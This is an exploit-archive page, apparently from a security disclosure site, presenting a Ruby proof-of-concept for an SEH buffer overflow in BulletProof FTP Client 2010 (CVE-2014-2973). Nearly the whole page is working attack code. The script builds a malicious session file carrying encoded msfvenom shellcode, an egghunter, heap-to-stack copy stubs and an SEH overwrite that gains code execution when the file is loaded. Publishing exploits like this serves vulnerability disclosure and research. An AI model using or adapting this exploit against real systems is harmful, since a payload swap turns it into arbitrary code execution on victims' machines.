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BulletProof FTP Client 2010 Buffer Overflow

BulletProof FTP Client 2010 Buffer Overflow
Posted Dec 9, 2014
Authored by Muhamad Fadzil Ramli, Gabor Seljan

BulletProof FTP Client 2010 SEH buffer overflow exploit that affects version 2010.75.0.76.

tags | exploit, overflow
advisories | CVE-2014-2973
MD5 | 8a05406d19b174b7c7eaa1b230f1dae9

BulletProof FTP Client 2010 Buffer Overflow

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#!/usr/bin/env ruby
# Exploit Title: BulletProof FTP Client 2010 - Buffer Overflow (SEH) Exploit
# Date: Dec 03 2014
# Vulnerability Discovery: Gabor Seljan
# Exploit Author: Muhamad Fadzil Ramli <mind1355[at]gmail.com>
# Software Link: http://www.bpftp.com/
# Version: 2010.75.0.76
# Tested on: Microsoft Windows XP SP3 EN [Version 5.1.2600]
# CVE: CVE-2014-2973
# Notes: bypass buffer size limitation for bigger payload. Allocate 2nd
# shellcode in heap and copy back to stack. This exploit use egghunter
# to locate 2nd shellcode in heap and copy to stack. Load the exploit file
# and click connect to trigger the exploit.

# Offset
seh = 93
filename = "xsession.bps"
buff = "A" * 500

# ./msfvenom -p windows/exec CMD=mspaint -b '\x00\x0a\x0d\x1a' -e x86/shikata_ga_nai -f ruby
heap_sc =
"w00tw00t" +
"\xda\xc4\xbf\xd7\xec\x92\xb5\xd9\x74\x24\xf4\x5d\x33\xc9" +
"\xb1\x32\x83\xed\xfc\x31\x7d\x16\x03\x7d\x16\xe2\x22\x10" +
"\x7a\x3c\xcc\xe9\x7b\x5f\x45\x0c\x4a\x4d\x31\x44\xff\x41" +
"\x32\x08\x0c\x29\x16\xb9\x87\x5f\xbe\xce\x20\xd5\x98\xe1" +
"\xb1\xdb\x24\xad\x72\x7d\xd8\xac\xa6\x5d\xe1\x7e\xbb\x9c" +
"\x26\x62\x34\xcc\xff\xe8\xe7\xe1\x74\xac\x3b\x03\x5a\xba" +
"\x04\x7b\xdf\x7d\xf0\x31\xde\xad\xa9\x4e\xa8\x55\xc1\x09" +
"\x08\x67\x06\x4a\x74\x2e\x23\xb9\x0f\xb1\xe5\xf3\xf0\x83" +
"\xc9\x58\xcf\x2b\xc4\xa1\x08\x8b\x37\xd4\x62\xef\xca\xef" +
"\xb1\x8d\x10\x65\x27\x35\xd2\xdd\x83\xc7\x37\xbb\x40\xcb" +
"\xfc\xcf\x0e\xc8\x03\x03\x25\xf4\x88\xa2\xe9\x7c\xca\x80" +
"\x2d\x24\x88\xa9\x74\x80\x7f\xd5\x66\x6c\xdf\x73\xed\x9f" +
"\x34\x05\xac\xf5\xcb\x87\xcb\xb3\xcc\x97\xd3\x93\xa4\xa6" +
"\x58\x7c\xb2\x36\x8b\x38\x4c\x7d\x91\x69\xc5\xd8\x40\x28" +
"\x88\xda\xbf\x6f\xb5\x58\x35\x10\x42\x40\x3c\x15\x0e\xc6" +
"\xad\x67\x1f\xa3\xd1\xd4\x20\xe6\xbc\xa9\xae\x68\x57\x20" +
"\x3b\x6b"

# badchar '\x00\x0a\x0d\x1a\xb1\x83\xb2'
# find 1st heap address
heap_addr =
"\x50" + # push eax
"\xbb\xaf\x77\x77\x77" + # mov ebx,777777afh
"\x81\xeb\x7f\x77\x77\x77" + # sub ebx,7777777f = 0x30 (TEB)
"\x64\x8b\x1b" + # mov ebx,dword ptr fs:[ebx]
"\xb9\x0f\x78\x77\x77" + # mov ebx,7777780Fh
"\x81\xe9\x7f\x77\x77\x77" + # sub ecx,7777777fh = 0x90 (PEB)
"\x8b\x1c\x0b" + # mov ebx,dword ptr [ebx+ecx]
"\x8b\x1b" # mov ebx,dword ptr [ebx]

egghunter =
"\x8b\xd3" + # mov edx,ebx
"\xeb\x05" + # jmp $+0x5 (#2)
"\x66\x81\xca\xff\x0f" + # or dx, 0xfff (#1)
"\x42" + # inc edx (#2)
"\x52" + # push edx
"\x6a\x02" + # push 2
"\x58" + # pop eax
"\xcd\x2e" + # int 0x2e
"\x3c\x05" + # cmp al,5
"\x5a" + # pop edx
"\x74\xef" + # je $-0xf (#1)
"\xb8\x77\x30\x30\x74" + # mov eax,0x74303077 (our tag 'w00t')
"\x8b\xfa" + # mov edi,edx
"\xaf" + # scasd eax, dword ptr es:[edi]
"\x75\xea" + # jne $-0x14 (#2)
"\xaf" + # scasd eax, dword ptr es:[edi]
"\x75\xe7" + # jne $-0x17 (#2)

copy_sc =
"\x58" + # pop eax
"\x05\x54\xf2\xff\xff" + # add eax,-3500
"\x89\xfe" + # mov esi,edi
"\x89\xc7" + # mov edi,eax
"\xb9\x61\x78\x77\x77" + # mov ecx,0x77777861
"\x81\xe9\x7f\x77\x77\x77" + # sub ecx,0x7777777f
"\xf2\xa4" + # rep movsb
"\xff\xe0" # jmp eax

stack_sc = heap_addr + egghunter + copy_sc

# GetPC
buff[1,2] = "\xd9\xeb" # fldpi
buff[3,5] = "\x9b\xd9\x74\x24\xf4" # fstenv [esp-0xc]
buff[8,1] = "\x58" # pop eax # pop esp into eax

# FixRet stub
buff[9,7] = "\xc7\x40\x44\x45\x45\x45\x45" # (1)
buff[16,7] = "\xc7\x40\x58\x45\x45\x45\x45" # (2) place holder for jmp
buff[23,7] = "\xc7\x40\x5c\x45\x45\x45\x45" # (3) place holder for ppr

buff[30,stack_sc.size] = stack_sc

# repair stack
buff[12,4] = buff[seh-24,4] # replace with original sc (1)
buff[19,4] = buff[seh-4,4] # replace with original sc (2)
buff[26,4] = buff[seh,4] # replace with original sc (3)

buff[seh-4,4] = "\xeb\xa6\x41\x41" # jmp $-166
buff[seh,4] = [0x72d11f39].pack('V').force_encoding("utf-8") # ppr : msacm32.drv only non-safeseh without null

bps =
"\x54\x68\x69\x73\x20\x69\x73\x20\x61\x20\x42\x75" +
"\x6C\x6C\x65\x74\x50\x72\x6F\x6F\x66\x20\x46\x54" +
"\x50\x20\x43\x6C\x69\x65\x6E\x74\x20\x53\x65\x73" +
"\x73\x69\x6F\x6E\x2D\x46\x69\x6C\x65\x20\x61\x6E" +
"\x64\x20\x73\x68\x6F\x75\x6C\x64\x20\x6E\x6F\x74" +
"\x20\x62\x65\x20\x6D\x6F\x64\x69\x66\x69\x65\x64" +
"\x20\x64\x69\x72\x65\x63\x74\x6C\x79\x2E\x0D\x0A" +
buff + "\x0D\x0A\x61\x6E" +
"\x6F\x6E\x79\x6D\x6F\x75\x73\x0D\x0A" + heap_sc + "\x62\x70\x69" +
"\x63\x70\x6C\x6E\x6B\x69\x69\x62\x6D\x66\x65\x0D" +
"\x0A"

File.open(filename,"wb") do |fp|
fp.write(bps)
puts "Exploit file: #{filename} size: #{bps.size}"
fp.close
end

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